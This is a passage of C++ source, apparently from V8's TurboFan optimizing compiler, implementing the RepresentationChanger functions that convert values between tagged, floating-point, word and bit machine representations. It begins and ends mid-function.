{\n        op = simplified()->CheckedInt32ToTaggedSigned(use_info.feedback());\n      }\n    } else {\n      return TypeError(node, output_rep, output_type,\n                       MachineRepresentation::kTaggedSigned);\n    }\n  } else if (output_rep == MachineRepresentation::kFloat32) {\n    if (use_info.type_check() == TypeCheckKind::kSignedSmall) {\n      node = InsertChangeFloat32ToFloat64(node);\n      node = InsertCheckedFloat64ToInt32(\n          node,\n          output_type.Maybe(Type::MinusZero())\n              ? CheckForMinusZeroMode::kCheckForMinusZero\n              : CheckForMinusZeroMode::kDontCheckForMinusZero,\n          use_info.feedback(), use_node);\n      if (SmiValuesAre32Bits()) {\n        op = simplified()->ChangeInt32ToTagged();\n      } else {\n        op = simplified()->CheckedInt32ToTaggedSigned(use_info.feedback());\n      }\n    } else {\n      return TypeError(node, output_rep, output_type,\n                       MachineRepresentation::kTaggedSigned);\n    }\n  } else if (CanBeTaggedPointer(output_rep)) {\n    if (use_info.type_check() == TypeCheckKind::kSignedSmall) {\n      op = simplified()->CheckedTaggedToTaggedSigned(use_info.feedback());\n    } else if (output_type.Is(Type::SignedSmall())) {\n      op = simplified()->ChangeTaggedToTaggedSigned();\n    } else {\n      return TypeError(node, output_rep, output_type,\n                       MachineRepresentation::kTaggedSigned);\n    }\n  } else if (output_rep == MachineRepresentation::kBit) {\n    if (use_info.type_check() == TypeCheckKind::kSignedSmall) {\n      // TODO(turbofan): Consider adding a Bailout operator that just deopts.\n      // Also use that for MachineRepresentation::kPointer case above.\n      node = InsertChangeBitToTagged(node);\n      op = simplified()->CheckedTaggedToTaggedSigned(use_info.feedback());\n    } else {\n      return TypeError(node, output_rep, output_type,\n                       MachineRepresentation::kTaggedSigned);\n    }\n  } else {\n    return TypeError(node, output_rep, output_type,\n                     MachineRepresentation::kTaggedSigned);\n  }\n  return InsertConversion(node, op, use_node);\n}\n\nNode* RepresentationChanger::GetTaggedPointerRepresentationFor(\n    Node* node, MachineRepresentation output_rep, Type output_type,\n    Node* use_node, UseInfo use_info) {\n  // Eagerly fold representation changes for constants.\n  switch (node->opcode()) {\n    case IrOpcode::kHeapConstant:\n    case IrOpcode::kDelayedStringConstant:\n      if (use_info.type_check() == TypeCheckKind::kBigInt) break;\n      return node;  // No change necessary.\n    case IrOpcode::kInt32Constant:\n    case IrOpcode::kFloat64Constant:\n    case IrOpcode::kFloat32Constant:\n      UNREACHABLE();\n    default:\n      break;\n  }\n  // Select the correct X -> TaggedPointer operator.\n  Operator const* op;\n  if (output_type.Is(Type::None())) {\n    // This is an impossible value; it should not be used at runtime.\n    return jsgraph()->graph()->NewNode(\n        jsgraph()->common()->DeadValue(MachineRepresentation::kTaggedPointer),\n        node);\n  }\n\n  if (use_info.type_check() == TypeCheckKind::kBigInt &&\n      !output_type.Is(Type::BigInt())) {\n    // BigInt checks can only be performed on tagged representations. Note that\n    // a corresponding check is inserted down below.\n    if (!CanBeTaggedPointer(output_rep)) {\n      Node* unreachable =\n          InsertUnconditionalDeopt(use_node, DeoptimizeReason::kNotABigInt);\n      return jsgraph()->graph()->NewNode(\n          jsgraph()->common()->DeadValue(MachineRepresentation::kTaggedPointer),\n          unreachable);\n    }\n  }\n\n  if (output_rep == MachineRepresentation::kBit) {\n    if (output_type.Is(Type::Boolean())) {\n      op = simplified()->ChangeBitToTagged();\n    } else {\n      return TypeError(node, output_rep, output_type,\n                       MachineRepresentation::kTagged);\n    }\n  } else if (IsWord(output_rep)) {\n    if (output_type.Is(Type::Unsigned32())) {\n      // uint32 -> float64 -> tagged\n      node = InsertChangeUint32ToFloat64(node);\n    } else if (output_type.Is(Type::Signed32())) {\n      // int32 -> float64 -> tagged\n      node = InsertChangeInt32ToFloat64(node);\n    } else {\n      return TypeError(node, output_rep, output_type,\n                       MachineRepresentation::kTaggedPointer);\n    }\n    op = simplified()->ChangeFloat64ToTaggedPointer();\n  } else if (output_rep == MachineRepresentation::kWord64) {\n    if (output_type.Is(cache_->kSafeInteger)) {\n      // int64 -> float64 -> tagged pointer\n      op = machine()->ChangeInt64ToFloat64();\n      node = jsgraph()->graph()->NewNode(op, node);\n      op = simplified()->ChangeFloat64ToTaggedPointer();\n    } else if (output_type.Is(Type::BigInt()) &&\n               use_info.type_check() == TypeCheckKind::kBigInt) {\n      op = simplified()->ChangeUint64ToBigInt();\n    } else {\n      return TypeError(node, output_rep, output_type,\n                       MachineRepresentation::kTaggedPointer);\n    }\n  } else if (output_rep == MachineRepresentation::kFloat32) {\n    if (output_type.Is(Type::Number())) {\n      // float32 -> float64 -> tagged\n      node = InsertChangeFloat32ToFloat64(node);\n      op = simplified()->ChangeFloat64ToTaggedPointer();\n    } else {\n      return TypeError(node, output_rep, output_type,\n                       MachineRepresentation::kTaggedPointer);\n    }\n  } else if (output_rep == MachineRepresentation::kFloat64) {\n    if (output_type.Is(Type::Number())) {\n      // float64 -> tagged\n      op = simplified()->ChangeFloat64ToTaggedPointer();\n    } else {\n      return TypeError(node, output_rep, output_type,\n                       MachineRepresentation::kTaggedPointer);\n    }\n  } else if (CanBeTaggedSigned(output_rep) &&\n             use_info.type_check() == TypeCheckKind::kHeapObject) {\n    if (!output_type.Maybe(Type::SignedSmall())) {\n      return node;\n    }\n    // TODO(turbofan): Consider adding a Bailout operator that just deopts\n    // for TaggedSigned output representation.\n    op = simplified()->CheckedTaggedToTaggedPointer(use_info.feedback());\n  } else if (IsAnyTagged(output_rep) &&\n             (use_info.type_check() == TypeCheckKind::kBigInt ||\n              output_type.Is(Type::BigInt()))) {\n    if (output_type.Is(Type::BigInt())) {\n      return node;\n    }\n    op = simplified()->CheckBigInt(use_info.feedback());\n  } else {\n    return TypeError(node, output_rep, output_type,\n                     MachineRepresentation::kTaggedPointer);\n  }\n  return InsertConversion(node, op, use_node);\n}\n\nNode* RepresentationChanger::GetTaggedRepresentationFor(\n    Node* node, MachineRepresentation output_rep, Type output_type,\n    Truncation truncation) {\n  // Eagerly fold representation changes for constants.\n  switch (node->opcode()) {\n    case IrOpcode::kNumberConstant:\n    case IrOpcode::kHeapConstant:\n    case IrOpcode::kDelayedStringConstant:\n      return node;  // No change necessary.\n    case IrOpcode::kInt32Constant:\n    case IrOpcode::kFloat64Constant:\n    case IrOpcode::kFloat32Constant:\n      UNREACHABLE();\n    default:\n      break;\n  }\n  if (output_rep == MachineRepresentation::kTaggedSigned ||\n      output_rep == MachineRepresentation::kTaggedPointer) {\n    // this is a no-op.\n    return node;\n  }\n  // Select the correct X -> Tagged operator.\n  const Operator* op;\n  if (output_type.Is(Type::None())) {\n    // This is an impossible value; it should not be used at runtime.\n    return jsgraph()->graph()->NewNode(\n        jsgraph()->common()->DeadValue(MachineRepresentation::kTagged), node);\n  } else if (output_rep == MachineRepresentation::kBit) {\n    if (output_type.Is(Type::Boolean())) {\n      op = simplified()->ChangeBitToTagged();\n    } else {\n      return TypeError(node, output_rep, output_type,\n                       MachineRepresentation::kTagged);\n    }\n  } else if (IsWord(output_rep)) {\n    if (output_type.Is(Type::Signed31())) {\n      op = simplified()->ChangeInt31ToTaggedSigned();\n    } else if (output_type.Is(Type::Signed32()) ||\n               (output_type.Is(Type::Signed32OrMinusZero()) &&\n                truncation.IdentifiesZeroAndMinusZero())) {\n      op = simplified()->ChangeInt32ToTagged();\n    } else if (output_type.Is(Type::Unsigned32()) ||\n               (output_type.Is(Type::Unsigned32OrMinusZero()) &&\n                truncation.IdentifiesZeroAndMinusZero()) ||\n               truncation.IsUsedAsWord32()) {\n      // Either the output is uint32 or the uses only care about the\n      // low 32 bits (so we can pick uint32 safely).\n      op = simplified()->ChangeUint32ToTagged();\n    } else {\n      return TypeError(node, output_rep, output_type,\n                       MachineRepresentation::kTagged);\n    }\n  } else if (output_rep == MachineRepresentation::kWord64) {\n    if (output_type.Is(Type::Signed31())) {\n      // int64 -> int32 -> tagged signed\n      node = InsertTruncateInt64ToInt32(node);\n      op = simplified()->ChangeInt31ToTaggedSigned();\n    } else if (output_type.Is(Type::Signed32())) {\n      // int64 -> int32 -> tagged\n      node = InsertTruncateInt64ToInt32(node);\n      op = simplified()->ChangeInt32ToTagged();\n    } else if (output_type.Is(Type::Unsigned32())) {\n      // int64 -> uint32 -> tagged\n      node = InsertTruncateInt64ToInt32(node);\n      op = simplified()->ChangeUint32ToTagged();\n    } else if (output_type.Is(cache_->kPositiveSafeInteger)) {\n      // uint64 -> tagged\n      op = simplified()->ChangeUint64ToTagged();\n    } else if (output_type.Is(cache_->kSafeInteger)) {\n      // int64 -> tagged\n      op = simplified()->ChangeInt64ToTagged();\n    } else if (output_type.Is(Type::BigInt())) {\n      // uint64 -> BigInt\n      op = simplified()->ChangeUint64ToBigInt();\n    } else {\n      return TypeError(node, output_rep, output_type,\n                       MachineRepresentation::kTagged);\n    }\n  } else if (output_rep ==\n             MachineRepresentation::kFloat32) {  // float32 -> float64 -> tagged\n    node = InsertChangeFloat32ToFloat64(node);\n    op = simplified()->ChangeFloat64ToTagged(\n        output_type.Maybe(Type::MinusZero())\n            ? CheckForMinusZeroMode::kCheckForMinusZero\n            : CheckForMinusZeroMode::kDontCheckForMinusZero);\n  } else if (output_rep == MachineRepresentation::kFloat64) {\n    if (output_type.Is(Type::Signed31())) {  // float64 -> int32 -> tagged\n      node = InsertChangeFloat64ToInt32(node);\n      op = simplified()->ChangeInt31ToTaggedSigned();\n    } else if (output_type.Is(\n                   Type::Signed32())) {  // float64 -> int32 -> tagged\n      node = InsertChangeFloat64ToInt32(node);\n      op = simplified()->ChangeInt32ToTagged();\n    } else if (output_type.Is(\n                   Type::Unsigned32())) {  // float64 -> uint32 -> tagged\n      node = InsertChangeFloat64ToUint32(node);\n      op = simplified()->ChangeUint32ToTagged();\n    } else if (output_type.Is(Type::Number()) ||\n               (output_type.Is(Type::NumberOrOddball()) &&\n                truncation.TruncatesOddballAndBigIntToNumber())) {\n      op = simplified()->ChangeFloat64ToTagged(\n          output_type.Maybe(Type::MinusZero())\n              ? CheckForMinusZeroMode::kCheckForMinusZero\n              : CheckForMinusZeroMode::kDontCheckForMinusZero);\n    } else {\n      return TypeError(node, output_rep, output_type,\n                       MachineRepresentation::kTagged);\n    }\n  } else {\n    return TypeError(node, output_rep, output_type,\n                     MachineRepresentation::kTagged);\n  }\n  return jsgraph()->graph()->NewNode(op, node);\n}\n\nNode* RepresentationChanger::GetFloat32RepresentationFor(\n    Node* node, MachineRepresentation output_rep, Type output_type,\n    Truncation truncation) {\n  // Eagerly fold representation changes for constants.\n  switch (node->opcode()) {\n    case IrOpcode::kNumberConstant:\n      return jsgraph()->Float32Constant(\n          DoubleToFloat32(OpParameter<double>(node->op())));\n    case IrOpcode::kInt32Constant:\n    case IrOpcode::kFloat64Constant:\n    case IrOpcode::kFloat32Constant:\n      UNREACHABLE();\n    default:\n      break;\n  }\n  // Select the correct X -> Float32 operator.\n  const Operator* op = nullptr;\n  if (output_type.Is(Type::None())) {\n    // This is an impossible value; it should not be used at runtime.\n    return jsgraph()->graph()->NewNode(\n        jsgraph()->common()->DeadValue(MachineRepresentation::kFloat32), node);\n  } else if (IsWord(output_rep)) {\n    if (output_type.Is(Type::Signed32())) {\n      // int32 -> float64 -> float32\n      op = machine()->ChangeInt32ToFloat64();\n      node = jsgraph()->graph()->NewNode(op, node);\n      op = machine()->TruncateFloat64ToFloat32();\n    } else if (output_type.Is(Type::Unsigned32()) ||\n               truncation.IsUsedAsWord32()) {\n      // Either the output is uint32 or the uses only care about the\n      // low 32 bits (so we can pick uint32 safely).\n\n      // uint32 -> float64 -> float32\n      op = machine()->ChangeUint32ToFloat64();\n      node = jsgraph()->graph()->NewNode(op, node);\n      op = machine()->TruncateFloat64ToFloat32();\n    }\n  } else if (IsAnyTagged(output_rep)) {\n    if (output_type.Is(Type::NumberOrOddball())) {\n      // tagged -> float64 -> float32\n      if (output_type.Is(Type::Number())) {\n        op = simplified()->ChangeTaggedToFloat64();\n      } else {\n        op = simplified()->TruncateTaggedToFloat64();\n      }\n      node = jsgraph()->graph()->NewNode(op, node);\n      op = machine()->TruncateFloat64ToFloat32();\n    }\n  } else if (output_rep == MachineRepresentation::kFloat64) {\n    op = machine()->TruncateFloat64ToFloat32();\n  } else if (output_rep == MachineRepresentation::kWord64) {\n    if (output_type.Is(cache_->kSafeInteger)) {\n      // int64 -> float64 -> float32\n      op = machine()->ChangeInt64ToFloat64();\n      node = jsgraph()->graph()->NewNode(op, node);\n      op = machine()->TruncateFloat64ToFloat32();\n    }\n  }\n  if (op == nullptr) {\n    return TypeError(node, output_rep, output_type,\n                     MachineRepresentation::kFloat32);\n  }\n  return jsgraph()->graph()->NewNode(op, node);\n}\n\nNode* RepresentationChanger::GetFloat64RepresentationFor(\n    Node* node, MachineRepresentation output_rep, Type output_type,\n    Node* use_node, UseInfo use_info) {\n  NumberMatcher m(node);\n  if (m.HasResolvedValue()) {\n    // BigInts are not used as number constants.\n    DCHECK(use_info.type_check() != TypeCheckKind::kBigInt);\n    switch (use_info.type_check()) {\n      case TypeCheckKind::kNone:\n      case TypeCheckKind::kNumber:\n      case TypeCheckKind::kNumberOrBoolean:\n      case TypeCheckKind::kNumberOrOddball:\n        return jsgraph()->Float64Constant(m.ResolvedValue());\n      case TypeCheckKind::kBigInt:\n      case TypeCheckKind::kHeapObject:\n      case TypeCheckKind::kSigned32:\n      case TypeCheckKind::kSigned64:\n      case TypeCheckKind::kSignedSmall:\n      case TypeCheckKind::kArrayIndex:\n        break;\n    }\n  }\n  // Select the correct X -> Float64 operator.\n  const Operator* op = nullptr;\n  if (output_type.Is(Type::None())) {\n    // This is an impossible value; it should not be used at runtime.\n    return jsgraph()->graph()->NewNode(\n        jsgraph()->common()->DeadValue(MachineRepresentation::kFloat64), node);\n  } else if (IsWord(output_rep)) {\n    if (output_type.Is(Type::Signed32()) ||\n        (output_type.Is(Type::Signed32OrMinusZero()) &&\n         use_info.truncation().IdentifiesZeroAndMinusZero())) {\n      op = machine()->ChangeInt32ToFloat64();\n    } else if (output_type.Is(Type::Unsigned32()) ||\n               (output_type.Is(Type::Unsigned32OrMinusZero()) &&\n                use_info.truncation().IdentifiesZeroAndMinusZero()) ||\n               use_info.truncation().IsUsedAsWord32()) {\n      // Either the output is uint32 or the uses only care about the\n      // low 32 bits (so we can pick uint32 safely).\n      op = machine()->ChangeUint32ToFloat64();\n    }\n  } else if (output_rep == MachineRepresentation::kBit) {\n    CHECK(output_type.Is(Type::Boolean()));\n    if (use_info.truncation().TruncatesOddballAndBigIntToNumber() ||\n        use_info.type_check() == TypeCheckKind::kNumberOrBoolean ||\n        use_info.type_check() == TypeCheckKind::kNumberOrOddball) {\n      op = machine()->ChangeUint32ToFloat64();\n    } else {\n      CHECK_NE(use_info.type_check(), TypeCheckKind::kNone);\n      Node* unreachable =\n          InsertUnconditionalDeopt(use_node, DeoptimizeReason::kNotAHeapNumber);\n      return jsgraph()->graph()->NewNode(\n          jsgraph()->common()->DeadValue(MachineRepresentation::kFloat64),\n          unreachable);\n    }\n  } else if (IsAnyTagged(output_rep)) {\n    if (output_type.Is(Type::Undefined())) {\n      if (use_info.type_check() == TypeCheckKind::kNumberOrBoolean) {\n        Node* unreachable = InsertUnconditionalDeopt(\n            use_node, DeoptimizeReason::kNotANumberOrBoolean);\n        return jsgraph()->graph()->NewNode(\n            jsgraph()->common()->DeadValue(MachineRepresentation::kFloat64),\n            unreachable);\n      } else {\n        return jsgraph()->Float64Constant(\n            std::numeric_limits<double>::quiet_NaN());\n      }\n    } else if (output_rep == MachineRepresentation::kTaggedSigned) {\n      node = InsertChangeTaggedSignedToInt32(node);\n      op = machine()->ChangeInt32ToFloat64();\n    } else if (output_type.Is(Type::Number())) {\n      op = simplified()->ChangeTaggedToFloat64();\n    } else if ((output_type.Is(Type::NumberOrOddball()) &&\n                use_info.truncation().TruncatesOddballAndBigIntToNumber()) ||\n               output_type.Is(Type::NumberOrHole())) {\n      // JavaScript 'null' is an Oddball that results in +0 when truncated to\n      // Number. In a context like -0 == null, which must evaluate to false,\n      // this truncation must not happen. For this reason we restrict this case\n      // to when either the user explicitly requested a float (and thus wants\n      // +0 if null is the input) or we know from the types that the input can\n      // only be Number | Hole. The latter is necessary to handle the operator\n      // CheckFloat64Hole. We did not put in the type (Number | Oddball \\ Null)\n      // to discover more bugs related to this conversion via crashes.\n      op = simplified()->TruncateTaggedToFloat64();\n    } else if (use_info.type_check() == TypeCheckKind::kNumber ||\n               (use_info.type_check() == TypeCheckKind::kNumberOrOddball &&\n                !output_type.Maybe(Type::BooleanOrNullOrNumber()))) {\n      op = simplified()->CheckedTaggedToFloat64(CheckTaggedInputMode::kNumber,\n                                                use_info.feedback());\n    } else if (use_info.type_check() == TypeCheckKind::kNumberOrBoolean) {\n      op = simplified()->CheckedTaggedToFloat64(\n          CheckTaggedInputMode::kNumberOrBoolean, use_info.feedback());\n    } else if (use_info.type_check() == TypeCheckKind::kNumberOrOddball) {\n      op = simplified()->CheckedTaggedToFloat64(\n          CheckTaggedInputMode::kNumberOrOddball, use_info.feedback());\n    }\n  } else if (output_rep == MachineRepresentation::kFloat32) {\n    op = machine()->ChangeFloat32ToFloat64();\n  } else if (output_rep == MachineRepresentation::kWord64) {\n    if (output_type.Is(cache_->kSafeInteger)) {\n      op = machine()->ChangeInt64ToFloat64();\n    }\n  }\n  if (op == nullptr) {\n    return TypeError(node, output_rep, output_type,\n                     MachineRepresentation::kFloat64);\n  }\n  return InsertConversion(node, op, use_node);\n}\n\nNode* RepresentationChanger::MakeTruncatedInt32Constant(double value) {\n  return jsgraph()->Int32Constant(DoubleToInt32(value));\n}\n\nNode* RepresentationChanger::InsertUnconditionalDeopt(Node* node,\n                                                      DeoptimizeReason reason) {\n  Node* effect = NodeProperties::GetEffectInput(node);\n  Node* control = NodeProperties::GetControlInput(node);\n  effect =\n      jsgraph()->graph()->NewNode(simplified()->CheckIf(reason),\n                                  jsgraph()->Int32Constant(0), effect, control);\n  Node* unreachable = effect = jsgraph()->graph()->NewNode(\n      jsgraph()->common()->Unreachable(), effect, control);\n  NodeProperties::ReplaceEffectInput(node, effect);\n  return unreachable;\n}\n\nNode* RepresentationChanger::GetWord32RepresentationFor(\n    Node* node, MachineRepresentation output_rep, Type output_type,\n    Node* use_node, UseInfo use_info) {\n  // Eagerly fold representation changes for constants.\n  switch (node->opcode()) {\n    case IrOpcode::kInt32Constant:\n    case IrOpcode::kInt64Constant:\n    case IrOpcode::kFloat32Constant:\n    case IrOpcode::kFloat64Constant:\n      UNREACHABLE();\n    case IrOpcode::kNumberConstant: {\n      double const fv = OpParameter<double>(node->op());\n      if (use_info.type_check() == TypeCheckKind::kNone ||\n          ((use_info.type_check() == TypeCheckKind::kSignedSmall ||\n            use_info.type_check() == TypeCheckKind::kSigned32 ||\n            use_info.type_check() == TypeCheckKind::kNumber ||\n            use_info.type_check() == TypeCheckKind::kNumberOrOddball ||\n            use_info.type_check() == TypeCheckKind::kArrayIndex) &&\n           IsInt32Double(fv))) {\n        return MakeTruncatedInt32Constant(fv);\n      }\n      break;\n    }\n    default:\n      break;\n  }\n\n  // Select the correct X -> Word32 operator.\n  const Operator* op = nullptr;\n  if (output_type.Is(Type::None())) {\n    // This is an impossible value; it should not be used at runtime.\n    return jsgraph()->graph()->NewNode(\n        jsgraph()->common()->DeadValue(MachineRepresentation::kWord32), node);\n  } else if (output_rep == MachineRepresentation::kBit) {\n    CHECK(output_type.Is(Type::Boolean()));\n    if (use_info.truncation().IsUsedAsWord32()) {\n      return node;\n    } else {\n      CHECK(Truncation::Any(kIdentifyZeros)\n                .IsLessGeneralThan(use_info.truncation()));\n      CHECK_NE(use_info.type_check(), TypeCheckKind::kNone);\n      CHECK_NE(use_info.type_check(), TypeCheckKind::kNumberOrOddball);\n      Node* unreachable =\n          InsertUnconditionalDeopt(use_node, DeoptimizeReason::kNotASmi);\n      return jsgraph()->graph()->NewNode(\n          jsgraph()->common()->DeadValue(MachineRepresentation::kWord32),\n          unreachable);\n    }\n  } else if (output_rep == MachineRepresentation::kFloat64) {\n    if (output_type.Is(Type::Signed32())) {\n      op = machine()->ChangeFloat64ToInt32();\n    } else if (use_info.type_check() == TypeCheckKind::kSignedSmall ||\n               use_info.type_check() == TypeCheckKind::kSigned32 ||\n               use_info.type_check() == TypeCheckKind::kArrayIndex) {\n      op = simplified()->CheckedFloat64ToInt32(\n          output_type.Maybe(Type::MinusZero())\n              ? use_info.minus_zero_check()\n              : CheckForMinusZeroMode::kDontCheckForMinusZero,\n          use_info.feedback());\n    } else if (output_type.Is(Type::Unsigned32())) {\n      op = machine()->ChangeFloat64ToUint32();\n    } else if (use_info.truncation().IsUsedAsWord32()) {\n      op = machine()->TruncateFloat64ToWord32();\n    } else {\n      return TypeError(node, output_rep, output_type,\n                       MachineRepresentation::kWord32);\n    }\n  } else if (output_rep == MachineRepresentation::kFloat32) {\n    node = InsertChangeFloat32ToFloat64(node);  // float32 -> float64 -> int32\n    if (output_type.Is(Type::Signed32())) {\n      op = machine()->ChangeFloat64ToInt32();\n    } else if (use_info.type_check() == TypeCheckKind::kSignedSmall ||\n               use_info.type_check() == TypeCheckKind::kSigned32 ||\n               use_info.type_check() == TypeCheckKind::kArrayIndex) {\n      op = simplified()->CheckedFloat64ToInt32(\n          output_type.Maybe(Type::MinusZero())\n              ? use_info.minus_zero_check()\n              : CheckForMinusZeroMode::kDontCheckForMinusZero,\n          use_info.feedback());\n    } else if (output_type.Is(Type::Unsigned32())) {\n      op = machine()->ChangeFloat64ToUint32();\n    } else if (use_info.truncation().IsUsedAsWord32()) {\n      op = machine()->TruncateFloat64ToWord32();\n    } else {\n      return TypeError(node, output_rep, output_type,\n                       MachineRepresentation::kWord32);\n    }\n  } else if (IsAnyTagged(output_rep)) {\n    if (output_rep == MachineRepresentation::kTaggedSigned &&\n        output_type.Is(Type::SignedSmall())) {\n      op = simplified()->ChangeTaggedSignedToInt32();\n    } else if (output_type.Is(Type::Signed32())) {\n      op = simplified()->ChangeTaggedToInt32();\n    } else if (use_info.type_check() == TypeCheckKind::kSignedSmall) {\n      op = simplified()->CheckedTaggedSignedToInt32(use_info.feedback());\n    } else if (use_info.type_check() == TypeCheckKind::kSigned32) {\n      op = simplified()->CheckedTaggedToInt32(\n          output_type.Maybe(Type::MinusZero())\n              ? use_info.minus_zero_check()\n              : CheckForMinusZeroMode::kDontCheckForMinusZero,\n          use_info.feedback());\n    } else if (use_info.type_check() == TypeCheckKind::kArrayIndex) {\n      op = simplified()->CheckedTaggedToArrayIndex(use_info.feedback());\n    } else if (output_type.Is(Type::Unsigned32())) {\n      op = simplified()->ChangeTaggedToUint32();\n    } else if (use_info.truncation().IsUsedAsWord32()) {\n      if (output_type.Is(Type::NumberOrOddball())) {\n        op = simplified()->TruncateTaggedToWord32();\n      } else if (use_info.type_check() == TypeCheckKind::kNumber) {\n        op = simplified()->CheckedTruncateTaggedToWord32(\n            CheckTaggedInputMode::kNumber, use_info.feedback());\n      } else if (use_info.type_check() == TypeCheckKind::kNumberOrOddball) {\n        op = simplified()->CheckedTruncateTaggedToWord32(\n            CheckTaggedInputMode::kNumberOrOddball, use_info.feedback());\n      } else {\n        return TypeError(node, output_rep, output_type,\n                         MachineRepresentation::kWord32);\n      }\n    } else {\n      return TypeError(node, output_rep, output_type,\n                       MachineRepresentation::kWord32);\n    }\n  } else if (output_rep == MachineRepresentation::kWord32) {\n    // Only the checked case should get here, the non-checked case is\n    // handled in GetRepresentationFor.\n    if (use_info.type_check() == TypeCheckKind::kSignedSmall ||\n        use_info.type_check() == TypeCheckKind::kSigned32 ||\n        use_info.type_check() == TypeCheckKind::kArrayIndex) {\n      bool identify_zeros = use_info.truncation().IdentifiesZeroAndMinusZero();\n      if (output_type.Is(Type::Signed32()) ||\n          (identify_zeros && output_type.Is(Type::Signed32OrMinusZero()))) {\n        return node;\n      } else if (output_type.Is(Type::Unsigned32()) ||\n                 (identify_zeros &&\n                  output_type.Is(Type::Unsigned32OrMinusZero()))) {\n        op = simplified()->CheckedUint32ToInt32(use_info.feedback());\n      } else {\n        return TypeError(node, output_rep, output_type,\n                         MachineRepresentation::kWord32);\n      }\n    } else if (use_info.type_check() == TypeCheckKind::kNumber ||\n               use_info.type_check() == TypeCheckKind::kNumberOrOddball) {\n      return node;\n    }\n  } else if (output_rep == MachineRepresentation::kWord8 ||\n             output_rep == MachineRepresentation::kWord16) {\n    DCHECK_EQ(MachineRepresentation::kWord32, use_info.representation());\n    DCHECK(use_info.type_check() == TypeCheckKind::kSignedSmall ||\n           use_info.type_check() == TypeCheckKind::kSigned32);\n    return node;\n  } else if (output_rep == MachineRepresentation::kWord64) {\n    if (output_type.Is(Type::Signed32()) ||\n        output_type.Is(Type::Unsigned32())) {\n      op = machine()->TruncateInt64ToInt32();\n    } else if (output_type.Is(cache_->kSafeInteger) &&\n               use_info.truncation().IsUsedAsWord32()) {\n      op = machine()->TruncateInt64ToInt32();\n    } else if (use_info.type_check() == TypeCheckKind::kSignedSmall ||\n               use_info.type_check() == TypeCheckKind::kSigned32 ||\n               use_info.type_check() == TypeCheckKind::kArrayIndex) {\n      if (output_type.Is(cache_->kPositiveSafeInteger)) {\n        op = simplified()->CheckedUint64ToInt32(use_info.feedback());\n      } else if (output_type.Is(cache_->kSafeInteger)) {\n        op = simplified()->CheckedInt64ToInt32(use_info.feedback());\n      } else {\n        return TypeError(node, output_rep, output_type,\n                         MachineRepresentation::kWord32);\n      }\n    } else {\n      return TypeError(node, output_rep, output_type,\n                       MachineRepresentation::kWord32);\n    }\n  }\n\n  if (op == nullptr) {\n    return TypeError(node, output_rep, output_type,\n                     MachineRepresentation::kWord32);\n  }\n  return InsertConversion(node, op, use_node);\n}\n\nNode* RepresentationChanger::InsertConversion(Node* node, const Operator* op,\n                                              Node* use_node) {\n  if (op->ControlInputCount() > 0) {\n    // If the operator can deoptimize (which means it has control\n    // input), we need to connect it to the effect and control chains.\n    Node* effect = NodeProperties::GetEffectInput(use_node);\n    Node* control = NodeProperties::GetControlInput(use_node);\n    Node* conversion = jsgraph()->graph()->NewNode(op, node, effect, control);\n    NodeProperties::ReplaceEffectInput(use_node, conversion);\n    return conversion;\n  }\n  return jsgraph()->graph()->NewNode(op, node);\n}\n\nNode* RepresentationChanger::GetBitRepresentationFor(\n    Node* node, MachineRepresentation output_rep, Type output_type) {\n  // Eagerly fold representation changes for constants.\n  switch (node->opcode()) {\n    case IrOpcode::kHeapConstant: {\n      HeapObjectMatcher m(node);\n      if (m.Is(factory()->false_value())) {\n        return jsgraph()->Int32Constant(0);\n      } else if (m.Is(factory()->true_value())) {\n        return jsgraph()->Int32Constant(1);\n      }\n      break;\n    }\n    default:\n      break;\n  }\n  // Select the correct X -> Bit operator.\n  const Operator* op;\n  if (output_type.Is(Type::None())) {\n    // This is an impossible value; it should not be used at runtime.\n    return jsgraph()->graph()->NewNode(\n        jsgraph()->common()->DeadValue(MachineRepresentation::kBit), node);\n  } else if (output_rep == MachineRepresentation::kTagged ||\n             output_rep == MachineRepresentation::kTaggedPointer) {\n    if (output_type.Is(Type::BooleanOrNullOrUndefined())) {\n      // true is the only trueish Oddball.\n      op = simplified()->ChangeTaggedToBit();\n    } else {\n      if (output_rep == MachineRepresentation::kTagged &&\n          output_type.Maybe(Type::SignedSmall())) {\n        op = simplified()->TruncateTaggedToBit();\n      } else {\n        // The {output_type} either doesn't include the Smi range,\n        // or the {output_rep} is known to be TaggedPointer.\n        op = simplified()->TruncateTaggedPointerToBit();\n      }\n    }\n  } else if (output_rep == MachineRepresentation::kTaggedSigned) {\n    if (COMPRESS_POINTERS_BOOL) {\n      node = jsgraph()->graph()->NewNode(machine()->Word32Equal(), node,\n                                         jsgraph()->Int32Constant(0));\n    } else {\n      node = jsgraph()->graph()->NewNode(machine()->WordEqual(), node,\n                                         jsgraph()->IntPtrConstant(0));\n    }\n    return jsgraph()->graph()->NewNode(machine()->Word32Equal(), node,\n                                       jsgraph()->Int32Constant(0));\n  } else if (IsWord(output_rep)) {\n    node = jsgraph()->graph()->NewNode(machine()->Word32Equal(), node,\n                                       jsgraph()->Int32Constant(0));\n    return jsgraph()->graph()->NewNode(machine()->Word32Equal(), node,\n                                       jsgraph()->Int32Constant(0));\n  } else if (output_rep == MachineRepresentation::kWord64) {\n    node = jsgraph()->graph()->NewNode(machine()->Word64Equal(), node,\n                                       jsgraph()->Int64Constant(0));\n    return jsgraph()->graph()->NewNode(machine()->Word32Equal(), node,\n                                       jsgraph()->Int32Constant(0));\n  } else if (output_rep == MachineRepresentation::kFloat32) {\n    node = jsgraph()->graph()->NewNode(machine()->Float32Abs(), node);\n    return jsgraph()->graph()->NewNode(machine()->Float32LessThan(),\n                                       jsgraph()->Float32Constant(0.0), node);\n  } else if (output_rep == MachineRepresentation::kFloat64) {\n    node = jsgraph()->graph()->NewNode(machine()->Float64Abs(), node);\n    return jsgraph()->graph()->NewNode(machine()->Float64LessThan(),\n                                       jsgraph()->Float64Constant(0.0), node);\n  } else {\n    return TypeError(node, output_rep, output_type,\n                     MachineRepresentation::kBit);\n  }\n  return jsgraph()->graph()->NewNode(op, node);\n}\n\nNode* RepresentationChanger::GetWord64RepresentationFor(\n    Node* node, MachineRepresentation output_rep, Type output_type,\n    Node* use_node, UseInfo use_info) {\n  // Eagerly fold representation changes for constants.\n  switch (node->opcode()) {\n    case IrOpcode::kInt32Constant:\n    case IrOpcode::kInt64Constant:\n    case IrOpcode::kFloat32Constant:\n    case IrOpcode::kFloat64Constant:\n      UNREACHABLE();\n    case IrOpcode::kNumberConstant: {\n      if (use_info.type_check() != TypeCheckKind::kBigInt) {\n        double const fv = OpParameter<double>(node->op());\n        using limits = std::numeric_limits<int64_t>;\n        if (fv <= limits::max() && fv >= limits::min()) 